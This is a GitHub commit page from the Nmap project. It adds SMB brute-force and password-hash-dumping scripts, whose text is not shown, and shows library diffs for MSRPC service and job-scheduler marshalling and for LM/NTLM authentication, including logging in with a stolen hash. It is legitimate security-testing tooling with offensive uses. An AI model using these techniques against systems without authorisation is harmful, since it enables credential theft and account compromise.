1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-06 04:31:29 +00:00

Merge in changes from my private branch, primarily smb-brute.nse and smb-pwdump.nse, among other smaller changes.

This commit is contained in:
ron
2009-03-05 02:03:29 +00:00
parent 523452a0d0
commit 45744eddc3
22 changed files with 4953 additions and 1117 deletions

View File

@@ -1,5 +1,14 @@
# Nmap Changelog ($Id$); -*-text-*-
o Added two new SMB/MSRPC scripts:
smb-brute.nse: Bruteforce to discover SMB accounts. Has advanced
features, such as lockout detection, username validation,
username enumeration, and optimized case detection.
smb-pwdump.nse: Uses executables from the Pwdump6 project to
dump password hashes from a remote machine (and optionally
crack them with Rainbow Crack). Pwdump6 files have to be
downloaded separately
o Fixed the install-zenmap make target for Solaris portability.
Solaris /bin/sh does not have test(1) -e. [Daniel Roethlisberger]

File diff suppressed because it is too large Load Diff

View File

@@ -27,11 +27,21 @@ require 'msrpctypes'
-- message), and a table representing the datatype, if any.
local function parse_perf_title_database(data, pos)
local result = {}
local i = 1
repeat
local number, name
pos, number, name = bin.unpack("<zz", data, pos)
if(number == nil) then
return false, "Couldn't parse the title database: end of string encountered early"
elseif(tonumber(number) == nil) then -- Not sure if this actually happens, but it doesn't hurt to check
stdnse.print_debug(1, "MSRPC: ERROR: Couldn't parse the title database: string found where number expected (%d: '%s')", i, number)
return false, "Couldn't parse the title database"
end
result[tonumber(number)] = name
i = i + 1
until pos >= #data
return true, pos, result
@@ -451,12 +461,12 @@ function get_performance_data(host, objects)
-- Parse the title database
pos = 1
status, pos, result['title_database'] = parse_perf_title_database(queryvalue_result['value'], pos)
result['title_database'][0] = "<null>"
if(status == false) then
msrpc.stop_smb(smbstate)
return false, pos
end
result['title_database'][0] = "<null>"
if(objects ~= nil and #objects > 0) then
-- Query for the objects

View File

@@ -124,7 +124,7 @@ function string_to_unicode(string, do_null)
local i
local result = ""
stdnse.print_debug(4, string.format("MSRPC: Entering string_to_unicode(string = %s)", string))
stdnse.print_debug(4, "MSRPC: Entering string_to_unicode(string = %s)", string)
if(do_null == nil) then
do_null = false
@@ -559,9 +559,40 @@ function marshall_unicode(str, do_null, max_length)
return result
end
--- Marshall a null-teriminated ascii string, with the length/maxlength prepended. Very similar
-- to <code>marshall_unicode</code>, except it's ascii and the null terminator is always used.
--
--@param str The string to marshall.
--@param max_length [optional] The maximum length; default: actual length.
function marshall_ascii(str, max_length)
local buffer_length
local result
local padding = ""
buffer_length = string.len(str) + 1
if(max_length == nil) then
max_length = buffer_length
end
while((string.len(str .. string.char(0) .. padding) % 4) ~= 0) do
padding = padding .. string.char(0)
end
result = bin.pack("<IIIzA",
max_length,
0,
buffer_length,
str,
padding
)
return result
end
--- Marshall a pointer to a unicode string.
--
--@param str The string to insert. Cannot be nil.
--@param str The string to insert. Can be nil.
--@param do_null [optional] Appends a null to the end of the string. Default false.
--@param max_length [optional] Sets a max length that's different than the string's length. Length
-- is in characters, not bytes.
@@ -578,6 +609,19 @@ function marshall_unicode_ptr(str, do_null, max_length)
return result
end
--- Marshall a pointer to an ascii string.
--
--@param str The string to insert. Can be nil.
--@param max_length [optional] Sets a max length that's different than the string's length.
--@return A string representing the marshalled data.
function marshall_ascii_ptr(str, max_length)
local result
result = marshall_ptr(ALL, marshall_ascii, {str, max_length}, str)
return result
end
--- Unmarshall a string that is in the format:
-- <code>[string,charset(UTF16)] uint16 *str</code>
--
@@ -626,6 +670,41 @@ function unmarshall_unicode_ptr(data, pos, do_null)
return pos, result
end
---Marshall an array of unicode strings. This is a perfect demonstration of how to use
-- <code>marshall_array</code>.
--
--@param strings The array of strings to marshall
--@param do_null [optional] Appends a null to the end of the string. Default false.
--@return A string representing the marshalled data.
function marshall_unicode_array(strings, do_null)
local array = {}
local result
for i = 1, #strings, 1 do
array[i] = {}
array[i]['func'] = marshall_ptr
array[i]['args'] = {marshall_unicode, {strings[i], do_null}, strings[i]}
end
result = marshall_array(array)
return result
end
---Marshall a pointer to an array of unicode strings. See <code>marshall_unicode_array</code>
-- for more information.
--
--@param strings The array of strings to marshall
--@param do_null [optional] Appends a null to the end of the string. Default false.
--@return A string representing the marshalled data.
function marshall_unicode_array_ptr(strings, do_null)
local result
result = marshall_ptr(ALL, marshall_unicode_array, {strings, do_null}, strings)
return result
end
--- Marshall an int64. This is simply an 8-byte integer inserted into the buffer, nothing fancy.
--@param int64 The integer to insert
--@return A string representing the marshalled data.
@@ -1197,6 +1276,34 @@ local function unmarshall_Enum16(data, pos, table, default, pad)
return pos, default
end
---Marshall an entry in a table. Basically, converts the string to a number based on the entries in
-- <code>table</code> before sending. Multiple values can be ORed together (like flags) by separating
-- them with pipes ("|").
--
--@param val The value to look up. Can be multiple values with pipes between, eg, "A|B|C".
--@param table The table to use for lookups. The keys should be the names, and the values should be
-- the numbers.
--@param pad [optional] If set, will ensure that we end up on an even multiple of 4. Default: true.
--@return A string representing the marshalled data.
local function marshall_Enum8(val, table, pad)
local result = 0
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_Enum8()"))
local vals = stdnse.strsplit("|", val)
local i
for i = 1, #vals, 1 do
result = bit.bor(result, table[vals[i]])
end
result = marshall_int8(result, pad)
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_Enum8()"))
return result
end
---Similar to <code>unmarshall_Enum32</code>, except it'll return every value that could be ANDed together to
-- create the resulting value (except a 0 value). This is effective for parsing flag data types.
--@param data The data packet.
@@ -2470,6 +2577,11 @@ function marshall_winreg_StringBuf(table, max_length)
end
end
-- For some reason, 0-length strings are handled differently (no null terminator)...
if(name == "") then
length = 0
result = bin.pack("<SSA", length * 2, max_length * 2, marshall_ptr(ALL, marshall_unicode, {name, false, max_length}, name))
else
if(name == nil) then
length = 0
else
@@ -2477,6 +2589,7 @@ function marshall_winreg_StringBuf(table, max_length)
end
result = bin.pack("<SSA", length * 2, max_length * 2, marshall_ptr(ALL, marshall_unicode, {name, true, max_length}, name))
end
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_winreg_StringBuf()"))
return result
@@ -4019,8 +4132,363 @@ function unmarshall_samr_DomainInfo_ptr(data, pos)
end
----------------------------------
-- SVCCTL
-- (dependencies: MISC)
----------------------------------
local svcctl_ControlCode =
{
SERVICE_CONTROL_CONTINUE = 0x00000003,
SERVICE_CONTROL_INTERROGATE = 0x00000004,
SERVICE_CONTROL_NETBINDADD = 0x00000007,
SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A,
SERVICE_CONTROL_NETBINDENABLE = 0x00000009,
SERVICE_CONTROL_NETBINDREMOVE = 0x00000008,
SERVICE_CONTROL_PARAMCHANGE = 0x00000006,
SERVICE_CONTROL_PAUSE = 0x00000002,
SERVICE_CONTROL_STOP = 0x00000001,
}
local svcctl_ControlCode_str =
{
SERVICE_CONTROL_CONTINUE = "Notifies a paused service that it should resume.",
SERVICE_CONTROL_INTERROGATE = "Notifies a service that it should report its current status information to the service control manager.",
SERVICE_CONTROL_NETBINDADD = "Notifies a network service that there is a new component for binding. Deprecated.",
SERVICE_CONTROL_NETBINDDISABLE = "Notifies a network service that one of its bindings has been disabled. Deprecated.",
SERVICE_CONTROL_NETBINDENABLE = "Notifies a network service that a disabled binding has been enabled. Deprecated",
SERVICE_CONTROL_NETBINDREMOVE = "Notifies a network service that a component for binding has been removed. Deprecated",
SERVICE_CONTROL_PARAMCHANGE = "Notifies a service that its startup parameters have changed.",
SERVICE_CONTROL_PAUSE = "Notifies a service that it should pause.",
SERVICE_CONTROL_STOP = "Notifies a service that it should stop."
}
---Marshall a <code>svcctl_ControlCode</code>. This datatype is tied to the table above with that
-- name.
--
--@param flags The value to marshall, as a string
--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
-- found.
function marshall_svcctl_ControlCode(flags)
local result
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_svcctl_ControlCode()"))
result = marshall_Enum32(flags, svcctl_ControlCode)
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_svcctl_ControlCode()"))
return result
end
---Unmarshall a <code>svcctl_ControlCode</code>. This datatype is tied to the table with that name.
--
--@param data The data packet.
--@param pos The position within the data.
--@return (pos, str) The new position, and the string representing the datatype.
function unmarshall_svcctl_ControlCode(data, pos)
local str
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_svcctl_ControlCode()"))
pos, str = unmarshall_Enum32_array(data, pos, svcctl_ControlCode)
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_svcctl_ControlCode()"))
return pos, str
end
---Convert a <code>svcctl_ControlCode</code> value to a string that can be shown to the user. This is
-- based on the <code>_str</table> table.
--
--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
function svcctl_ControlCode_tostr(val)
local result
stdnse.print_debug(4, string.format("MSRPC: Entering svcctl_ControlCode_tostr()"))
result = svcctl_ControlCode_str[val]
stdnse.print_debug(4, string.format("MSRPC: Leaving svcctl_ControlCode_tostr()"))
return result
end
local svcctl_Type =
{
SERVICE_TYPE_KERNEL_DRIVER = 0x01,
SERVICE_TYPE_FS_DRIVER = 0x02,
SERVICE_TYPE_ADAPTER = 0x04,
SERVICE_TYPE_RECOGNIZER_DRIVER = 0x08,
SERVICE_TYPE_DRIVER = 0x0B,
SERVICE_TYPE_WIN32_OWN_PROCESS = 0x10,
SERVICE_TYPE_WIN32_SHARE_PROCESS = 0x20,
SERVICE_TYPE_WIN32 = 0x30
}
---Marshall a <code>svcctl_Type</code>. This datatype is tied to the table above with that
-- name.
--
--@param flags The value to marshall, as a string
--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
-- found.
function marshall_svcctl_Type(flags)
local result
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_svcctl_Type()"))
result = marshall_Enum32(flags, svcctl_Type)
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_svcctl_Type()"))
return result
end
---Unmarshall a <code>svcctl_Type</code>. This datatype is tied to the table with that name.
--
--@param data The data packet.
--@param pos The position within the data.
--@return (pos, str) The new position, and the string representing the datatype.
function unmarshall_svcctl_Type(data, pos)
local str
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_svcctl_Type()"))
pos, str = unmarshall_Enum32_array(data, pos, svcctl_Type)
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_svcctl_Type()"))
return pos, str
end
---Convert a <code>svcctl_Type</code> value to a string that can be shown to the user. This is
-- based on the <code>_str</table> table.
--
--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
function svcctl_Type_tostr(val)
local result
stdnse.print_debug(4, string.format("MSRPC: Entering svcctl_Type_tostr()"))
result = svcctl_Type_str[val]
stdnse.print_debug(4, string.format("MSRPC: Leaving svcctl_Type_tostr()"))
return result
end
local svcctl_State =
{
SERVICE_STATE_ACTIVE = 0x01,
SERVICE_STATE_INACTIVE = 0x02,
SERVICE_STATE_ALL = 0x03
}
---Marshall a <code>svcctl_State</code>. This datatype is tied to the table above with that
-- name.
--
--@param flags The value to marshall, as a string
--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
-- found.
function marshall_svcctl_State(flags)
local result
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_svcctl_State()"))
result = marshall_Enum32(flags, svcctl_State)
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_svcctl_State()"))
return result
end
---Unmarshall a <code>svcctl_State</code>. This datatype is tied to the table with that name.
--
--@param data The data packet.
--@param pos The position within the data.
--@return (pos, str) The new position, and the string representing the datatype.
function unmarshall_svcctl_State(data, pos)
local str
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_svcctl_State()"))
pos, str = unmarshall_Enum32_array(data, pos, svcctl_State)
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_svcctl_State()"))
return pos, str
end
---Convert a <code>svcctl_State</code> value to a string that can be shown to the user. This is
-- based on the <code>_str</table> table.
--
--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
function svcctl_State_tostr(val)
local result
stdnse.print_debug(4, string.format("MSRPC: Entering svcctl_State_tostr()"))
result = svcctl_State_str[val]
stdnse.print_debug(4, string.format("MSRPC: Leaving svcctl_State_tostr()"))
return result
end
---Unmarshall a SERVICE_STATUS struct, converting it to a table. The structure is as
-- follows:
--
-- <code>
-- typedef struct {
-- uint32 type;
-- uint32 state;
-- uint32 controls_accepted;
-- WERROR win32_exit_code;
-- uint32 service_exit_code;
-- uint32 check_point;
-- uint32 wait_hint;
-- } SERVICE_STATUS;
-- </code>
--
--@param data The data packet.
--@param pos The position within the data.
--@return (pos, table) The new position, and the table of values.
function unmarshall_SERVICE_STATUS(data, pos)
local result = {}
pos, result['type'] = unmarshall_svcctl_Type(data, pos)
pos, result['state'] = unmarshall_svcctl_State(data, pos)
pos, result['controls_accepted'] = unmarshall_svcctl_ControlCode(data, pos)
pos, result['win32_exit_code'] = unmarshall_int32(data, pos)
pos, result['service_exit_code'] = unmarshall_int32(data, pos)
pos, result['check_point'] = unmarshall_int32(data, pos)
pos, result['wait_hint'] = unmarshall_int32(data, pos)
return pos, result
end
local atsvc_DaysOfMonth =
{
First = 0x00000001,
Second = 0x00000002,
Third = 0x00000004,
Fourth = 0x00000008,
Fifth = 0x00000010,
Sixth = 0x00000020,
Seventh = 0x00000040,
Eight = 0x00000080,
Ninth = 0x00000100,
Tenth = 0x00000200,
Eleventh = 0x00000400,
Twelfth = 0x00000800,
Thitteenth = 0x00001000,
Fourteenth = 0x00002000,
Fifteenth = 0x00004000,
Sixteenth = 0x00008000,
Seventeenth = 0x00010000,
Eighteenth = 0x00020000,
Ninteenth = 0x00040000,
Twentyth = 0x00080000,
Twentyfirst = 0x00100000,
Twentysecond = 0x00200000,
Twentythird = 0x00400000,
Twentyfourth = 0x00800000,
Twentyfifth = 0x01000000,
Twentysixth = 0x02000000,
Twentyseventh = 0x04000000,
Twentyeighth = 0x08000000,
Twentyninth = 0x10000000,
Thirtieth = 0x20000000,
Thirtyfirst = 0x40000000
}
---Marshall a <code>atsvc_DaysOfMonth</code>. This datatype is tied to the table above with that
-- name.
--
--@param flags The value to marshall, as a string
--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
-- found.
function marshall_atsvc_DaysOfMonth(flags)
local result
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_atsvc_DaysOfMonth()"))
result = marshall_Enum32(flags, atsvc_DaysOfMonth)
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_atsvc_DaysOfMonth()"))
return result
end
local atsvc_Flags =
{
JOB_RUN_PERIODICALLY = 0x01,
JOB_EXEC_ERROR = 0x02,
JOB_RUNS_TODAY = 0x04,
JOB_ADD_CURRENT_DATE = 0x08,
JOB_NONINTERACTIVE = 0x10
}
---Marshall a <code>atsvc_Flags</code>. This datatype is tied to the table above with that
-- name.
--
--@param flags The value to marshall, as a string
--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
-- found.
function marshall_atsvc_Flags(flags)
local result
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_atsvc_Flags()"))
result = marshall_Enum8(flags, atsvc_Flags, false)
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_atsvc_Flags()"))
return result
end
local atsvc_DaysOfWeek =
{
DAYSOFWEEK_MONDAY = 0x01,
DAYSOFWEEK_TUESDAY = 0x02,
DAYSOFWEEK_WEDNESDAY = 0x04,
DAYSOFWEEK_THURSDAY = 0x08,
DAYSOFWEEK_FRIDAY = 0x10,
DAYSOFWEEK_SATURDAY = 0x20,
DAYSOFWEEK_SUNDAY = 0x40
}
---Marshall a <code>atsvc_DaysOfWeek</code>. This datatype is tied to the table above with that
-- name.
--
--@param flags The value to marshall, as a string
--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
-- found.
function marshall_atsvc_DaysOfWeek(flags)
local result
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_atsvc_DaysOfWeek()"))
result = marshall_Enum8(flags, atsvc_DaysOfWeek, false)
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_atsvc_DaysOfWeek()"))
return result
end
---Marshall a JobInfo struct. The structure is as follows:
--
--<code>
-- typedef struct {
-- uint32 job_time;
-- atsvc_DaysOfMonth days_of_month;
-- atsvc_DaysOfWeek days_of_week;
-- atsvc_Flags flags;
-- [string,charset(UTF16)] uint16 *command;
-- } atsvc_JobInfo;
--</code>
--
--@param command The command to run. This has to be just the command, no parameters; if a
-- program requires parameters, then the best way to run it is through a batch
-- file.
--@param time The time at which to run the job, in milliseconds from midnight.
function marshall_atsvc_JobInfo(command, time)
local result = ""
result = result .. marshall_int32(time) -- Job time
result = result .. marshall_int32(0) -- Day of month
result = result .. marshall_int8(0, false) -- Day of week
io.write("Length = " .. #result .. "\n")
result = result .. marshall_atsvc_Flags("JOB_NONINTERACTIVE") -- Flags
io.write("Length = " .. #result .. "\n\n\n")
result = result .. marshall_int16(0, false) -- Padding
result = result .. marshall_unicode_ptr(command, true) -- Command
return result
end

View File

@@ -255,10 +255,10 @@ function do_nbstat(host)
local encoded_name = name_encode("*")
local statistics
stdnse.print_debug(1, "Performing nbstat on host '%s'", host)
stdnse.print_debug(3, "Performing nbstat on host '%s'", host)
-- Check if it's cased in the registry for this host
if(nmap.registry["nbstat_names_" .. host] ~= nil) then
stdnse.print_debug(1, " |_ [using cached value]")
stdnse.print_debug(3, " |_ [using cached value]")
return true, nmap.registry["nbstat_names_" .. host], nmap.registry["nbstat_statistics_" .. host]
end

View File

@@ -27,7 +27,7 @@ function tostr(data, indent)
-- Check the type
if(type(data) == "nil") then
str = str .. (" "):rep(indent) .. data .. "\n"
str = str .. (" "):rep(indent) .. "nil\n"
elseif(type(data) == "string") then
str = str .. (" "):rep(indent) .. data .. "\n"
elseif(type(data) == "number") then

File diff suppressed because it is too large Load Diff

659
nselib/smbauth.lua Normal file
View File

@@ -0,0 +1,659 @@
---This module takes care of the authentication used in SMB (LM, NTLM, LMv2, NTLMv2).
-- There is a lot to this functionality, so if you're interested in how it works, read
-- on.
--
-- In SMB authentication, there are two distinct concepts. Each will be dealt with
-- separately. There are:
-- * Stored hashes
-- * Authentication
--
-- What's confusing is that the same names are used for each of those.
--
-- Stored Hashes
-- Windows stores two types of hashes: Lanman and NT Lanman (or NTLM). Vista and later
-- store NTLM only. Lanman passwords are divided into two 7-character passwords and
-- used as a key in DES, while NTLM is converted to unicode and MD4ed.
--
-- The stored hashes can be dumped in a variety of ways (pwdump6, fgdump, metasploit's
-- priv module, smb-pwdump.nse, etc). Generally, two hashes are dumped together
-- (generally, Lanman:NTLM). Sometimes, Lanman is empty and only NTLM is given. Lanman
-- is never required.
--
-- The password hashes can be given instead of passwords when supplying credentials;
-- this is done by using the <code>smbhash</code> argument. Either a pair of hashes
-- can be passed, in the form of Lanman:NTLM, or a single hash, which is assumed to
-- be NTLM.
--
-- Authentication
-- There are four types of authentication. Confusingly, these have the same names as
-- stored hashes, but only slight relationships. The four types are Lanmanv1, NTLMv1,
-- Lanmanv2, and NTLMv2. By default, Lanmanv1 and NTLMv1 are used together in most
-- applications. These Nmap scripts default to NTLMv1 alone, except in special cases,
-- but it can be overridden by the user.
--
-- Lanmanv1 and NTLMv1 both use DES for their response. The DES mixes a server challenge
-- with the hash (Lanman hash for Lanmanv1 response and NTLMv1 hash for NTLM response).
-- The way the challenge is DESed with the hashes is identical for Lanmanv1 and NTLMv1,
-- the only difference is the starting hash (Lanman vs NTLM).
--
-- Lanmanv2 and NTLMv2 both use HMAC-MD5 for their response. The HMAC-MD5 mixes a
-- server challenge and a client challenge with the NTLM hash, in both cases. The
-- difference between Lanmanv2 and NTLMv2 is the length of the client challenge;
-- Lanmanv2 has a maximum client challenge of 8 bytes, whereas NTLMv2 doesn't limit
-- the length of the client challenge.
--
-- The primary advantage to the 'v2' protocols is the client challenge -- by
-- incorporating a client challenge, a malicious server can't use a precomputation
-- attack.
--
-- In addition to hashing the passwords, messages are also signed, by default, if a
-- v1 protocol is being used (I (Ron Bowes) couldn't get signatures to work on v2
-- protocols; if anybody knows how I'd love to implement it).
--
--@args smbusername The SMB username to log in with. The forms "DOMAIN\username" and "username@DOMAIN"
-- are not understood. To set a domain, use the <code>smbdomain</code> argument.
--@args smbdomain The domain to log in with. If you aren't in a domained environment, then anything
-- will (should?) be accepted by the server.
--@args smbpassword The password to connect with. Be cautious with this, since some servers will lock
-- accounts if the incorrect password is given. Although it's rare that the
-- Administrator account can be locked out, in the off chance that it can, you could
-- get yourself in trouble. To use a blank password, leave this parameter off
-- altogether.
--@args smbhash A password hash to use when logging in. This is given as a single hex string (32
-- characters) or a pair of hex strings (both 32 characters, optionally separated by a
-- single character). These hashes are the LanMan or NTLM hash of the user's password,
-- and are stored on disk or in memory. They can be retrieved from memory
-- using the fgdump or pwdump tools.
--@args smbtype The type of SMB authentication to use. These are the possible options:
-- * <code>v1</code>: Sends LMv1 and NTLMv1.
-- * <code>LMv1</code>: Sends LMv1 only.
-- * <code>NTLMv1</code>: Sends NTLMv1 only (default).
-- * <code>v2</code>: Sends LMv2 and NTLMv2.
-- * <code>LMv2</code>: Sends LMv2 only.
-- * <code>NTLMv2</code>: Doesn't exist; the protocol doesn't support NTLMv2 alone.
-- The default, <code>NTLMv1</code>, is a pretty decent compromise between security and
-- compatibility. If you are paranoid, you might want to use <code>v2</code> or
-- <code>lmv2</code> for this. (Actually, if you're paranoid, you should be avoiding this
-- protocol altogether!). If you're using an extremely old system, you might need to set
-- this to <code>v1</code> or <code>lm</code>, which are less secure but more compatible.
-- For information, see <code>smbauth.lua</code>.
module(... or "smbauth", package.seeall)
require 'bit'
require 'bin'
require 'netbios'
require 'stdnse'
require 'nsedebug'
have_ssl = (nmap.have_ssl() and pcall(require, "openssl"))
-- Constants
local NTLMSSP_NEGOTIATE = 0x00000001
local NTLMSSP_CHALLENGE = 0x00000002
local NTLMSSP_AUTH = 0x00000003
local function to_unicode(str)
local unicode = ""
for i = 1, #str, 1 do
unicode = unicode .. bin.pack("<S", string.byte(str, i))
end
return unicode
end
---Generate the Lanman v1 hash (LMv1). The generated hash is incredibly easy to reverse, because the input
-- is padded or truncated to 14 characters, then split into two 7-character strings. Each of these strings
-- are used as a key to encrypt the string, "KGS!@#$%" in DES. Because the keys are no longer than
-- 7-characters long, it's pretty trivial to bruteforce them.
--
--@param password the password to hash
--@return (status, hash) If status is true, the hash is returned; otherwise, an error message is returned.
local function lm_create_hash(password)
if(have_ssl ~= true) then
return false, "SMB: OpenSSL not present"
end
local str1, str2
local key1, key2
local result
-- Convert the password to uppercase
password = string.upper(password)
-- If password is under 14 characters, pad it to 14
if(#password < 14) then
password = password .. string.rep(string.char(0), 14 - #password)
end
-- Take the first and second half of the password (note that if it's longer than 14 characters, it's truncated)
str1 = string.sub(password, 1, 7)
str2 = string.sub(password, 8, 14)
-- Generate the keys
key1 = openssl.DES_string_to_key(str1)
key2 = openssl.DES_string_to_key(str2)
-- Encrypt the string "KGS!@#$%" with each half, and concatenate it
result = openssl.encrypt("DES", key1, nil, "KGS!@#$%") .. openssl.encrypt("DES", key2, nil, "KGS!@#$%")
return true, result
end
---Generate the NTLMv1 hash. This hash is quite a bit better than LMv1, and is far easier to generate. Basically,
-- it's the MD4 of the Unicode password.
--
--@param password the password to hash
--@return (status, hash) If status is true, the hash is returned; otherwise, an error message is returned.
function ntlm_create_hash(password)
if(have_ssl ~= true) then
return false, "SMB: OpenSSL not present"
end
return true, openssl.md4(to_unicode(password))
end
---Create the Lanman response to send back to the server. To do this, the Lanman password is padded to 21
-- characters and split into three 7-character strings. Each of those strings is used as a key to encrypt
-- the server challenge. The three encrypted strings are concatenated and returned.
--
--@param lanman The LMv1 hash
--@param challenge The server's challenge.
--@return (status, response) If status is true, the response is returned; otherwise, an error message is returned.
function lm_create_response(lanman, challenge)
if(have_ssl ~= true) then
return false, "SMB: OpenSSL not present"
end
local str1, str2, str3
local key1, key2, key3
local result
-- Pad the hash to 21 characters
lanman = lanman .. string.rep(string.char(0), 21 - #lanman)
-- Take the first and second half of the password (note that if it's longer than 14 characters, it's truncated)
str1 = string.sub(lanman, 1, 7)
str2 = string.sub(lanman, 8, 14)
str3 = string.sub(lanman, 15, 21)
-- Generate the keys
key1 = openssl.DES_string_to_key(str1)
key2 = openssl.DES_string_to_key(str2)
key3 = openssl.DES_string_to_key(str3)
-- Encrypt the challenge with each key
result = openssl.encrypt("DES", key1, nil, challenge) .. openssl.encrypt("DES", key2, nil, challenge) .. openssl.encrypt("DES", key3, nil, challenge)
return true, result
end
---Create the NTLM response to send back to the server. This is actually done the exact same way as the Lanman hash,
-- so I call the <code>Lanman</code> function.
--
--@param ntlm The NTLMv1 hash
--@param challenge The server's challenge.
--@return (status, response) If status is true, the response is returned; otherwise, an error message is returned.
function ntlm_create_response(ntlm, challenge)
return lm_create_response(ntlm, challenge)
end
---Create the NTLM mac key, which is used for message signing. For basic authentication, this is the md4 of the
-- NTLM hash, concatenated with the response hash; for extended authentication, this is just the md4 of the NTLM
-- hash.
--@param ntlm_hash The NTLM hash.
--@param ntlm_response The NTLM response.
--@param is_extended Should be set if extended security negotiations are being used.
function ntlm_create_mac_key(ntlm_hash, ntlm_response, is_extended)
if(is_extended) then
return openssl.md4(ntlm_hash)
else
return openssl.md4(ntlm_hash) .. ntlm_response
end
end
---Create the LM mac key, which is used for message signing. For basic authentication, it's the first 8 bytes
-- of the lanman hash, followed by 8 null bytes, followed by the lanman response; for extended authentication,
-- this is just the first 8 bytes of the lanman hash followed by 8 null bytes.
--@param ntlm_hash The NTLM hash.
--@param ntlm_response The NTLM response.
--@param is_extended Should be set if extended security negotiations are being used.
function lm_create_mac_key(lm_hash, lm_response, is_extended)
if(is_extended) then
return string.sub(lm_hash, 1, 8) .. string.rep(string.char(0), 8)
else
return string.sub(lm_hash, 1, 8) .. string.rep(string.char(0), 8) .. lm_response
end
end
---Create the NTLMv2 hash, which is based on the NTLMv1 hash (for easy upgrading), the username, and the domain.
-- Essentially, the NTLM hash is used as a HMAC-MD5 key, which is used to hash the unicode domain concatenated
-- with the unicode username.
--
--@param ntlm The NTLMv1 hash.
--@param username The username we're using.
--@param domain The domain.
--@return (status, response) If status is true, the response is returned; otherwise, an error message is returned.
function ntlmv2_create_hash(ntlm, username, domain)
if(have_ssl ~= true) then
return false, "SMB: OpenSSL not present"
end
local unicode = ""
username = to_unicode(string.upper(username))
domain = to_unicode(string.upper(domain))
return true, openssl.hmac("MD5", ntlm, username .. domain)
end
---Create the LMv2 response, which can be sent back to the server. This is identical to the <code>NTLMv2</code> function,
-- except that it uses an 8-byte client challenge.
--
-- The reason for LMv2 is a long and twisted story. Well, not really. The reason is basically that the v1 hashes
-- are always 24-bytes, and some servers expect 24 bytes, but the NTLMv2 hash is more than 24 bytes. So, the only
-- way to keep pass-through compatibility was to have a v2-hash that was guaranteed to be 24 bytes. So LMv1 was
-- born -- it has a 16-byte hash followed by the 8-byte client challenge, for a total of 24 bytes. And now you've
-- learned something
--
--@param ntlm The NVLMv1 hash.
--@param username The username we're using.
--@param domain The domain.
--@param challenge The server challenge.
--@return (status, response) If status is true, the response is returned; otherwise, an error message is returned.
function lmv2_create_response(ntlm, username, domain, challenge)
return ntlmv2_create_response(ntlm, username, domain, challenge, 8)
end
---Create the NTLMv2 response, which can be sent back to the server. This is done by using the HMAC-MD5 algorithm
-- with the NTLMv2 hash as a key, and the server challenge concatenated with the client challenge for the data.
-- The resulting hash is concatenated with the client challenge and returned.
--
-- The "proper" implementation for this uses a certain structure for the client challenge, involving the time
-- and computer name and stuff (if you don't do this, Wireshark tells you it's a malformed packet). In my tests,
-- however, I couldn't get Vista to recognize a client challenge longer than 24 bytes, and this structure was
-- guaranteed to be much longer than 24 bytes. So, I just use a random string generated by OpenSSL. I've tested
-- it on every Windows system from Windows 2000 to Windows Vista, and it has always worked.
function ntlmv2_create_response(ntlm, username, domain, challenge, client_challenge_length)
if(have_ssl ~= true) then
return false, "SMB: OpenSSL not present"
end
local client_challenge = openssl.rand_bytes(client_challenge_length)
local ntlmv2_hash
status, ntlmv2_hash = ntlmv2_create_hash(ntlm, username, domain)
return true, openssl.hmac("MD5", ntlmv2_hash, challenge .. client_challenge) .. client_challenge
end
---Determines which hash type is going to be used, based on the function parameters and
-- the nmap arguments (in that order).
--
--@param hash_type [optional] The function parameter version, which will override all others if set.
--@return The highest priority hash type that's set.
local function get_hash_type(hash_type)
if(hash_type ~= nil) then
stdnse.print_debug(2, "SMB: Using logon type passed as a parameter: %s", hash_type)
else
if(nmap.registry.args.smbtype ~= nil) then
hash_type = nmap.registry.args.smbtype
stdnse.print_debug(2, "SMB: Using logon type passed as an nmap parameter: %s", hash_type)
else
hash_type = "ntlm"
stdnse.print_debug(2, "SMB: Using default logon type: %s", hash_type)
end
end
return string.lower(hash_type)
end
---Determines which username is going to be used, based on the function parameters, the nmap arguments,
-- and the registry (in that order).
--
--@param ip The ip address, used when reading from the registry
--@param username [optional] The function parameter version, which will override all others if set.
--@return The highest priority username that's set.
local function get_username(ip, username)
if(username ~= nil) then
stdnse.print_debug(2, "SMB: Using username passed as a parameter: %s", username)
else
if(nmap.registry.args.smbusername ~= nil) then
username = nmap.registry.args.smbusername
stdnse.print_debug(2, "SMB: Using username passed as an nmap parameter (smbusername): %s", username)
elseif(nmap.registry.args.smbuser ~= nil) then
username = nmap.registry.args.smbuser
stdnse.print_debug(2, "SMB: Using username passed as an nmap parameter (smbuser): %s", username)
